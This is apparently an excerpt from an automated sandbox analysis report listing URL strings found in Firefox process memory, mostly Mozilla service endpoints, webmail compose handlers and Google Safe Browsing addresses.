Source: firefox.exe, 0000001C.00000002.2755324438.000001F400ED7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2019-09/schema27fb6245-bd08-4de6-8f4d-2ece3f597752%2528not%2Bset%2529%
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2292032711.000001F401EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.live.comCheckerService:#updateCheck
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%s_finalizeInternal/this._finalizePromise
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001C.00000003.2517507129.000001F3FB17E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mathiasbynens.be/
Source: firefox.exe, 0000001C.00000003.2517507129.000001F3FB17E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
Source: firefox.exe, 0000001C.00000003.2517507129.000001F3FB17E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mathiasbynens.be/notes/javascript-escapes#single
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF5DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B492000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001C.00000002.2739459601.000001F3FF30A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2754098270.000001F4004BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mochitest.youtube.com/
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB5BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405https://shavar.services.mozilla.com/downloads?client
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001C.00000003.2517507129.000001F3FB17E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mths.be/jsesc
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%shttps://mail.google.com/mail/?extsrc=mailto&u
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://play.hbomax.com/player/
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s4
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sremoveSubmitCheckboxesForSameCrash
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://push.services.mozilla.com
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FEDF3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2754098270.000001F4004BF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://push.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001C.00000003.2523807482.000001F400E7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2523509088.000001F400E88000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2523509088.000001F400E88000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/shims/mochitest-shim-1.js
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/shims/mochitest-shim-1.jsexperiment-apis/matchPatterns.js/shims/moch
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.comnetwork.proxy.backup.socksbrowser.urlbar.openViewOnFocusaccount-conne
Source: firefox.exe, 0000001C.00000002.2751785855.000001F400274000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001C.00000003.2399485724.000001F402FE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addonCheckerService:stopCheck
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
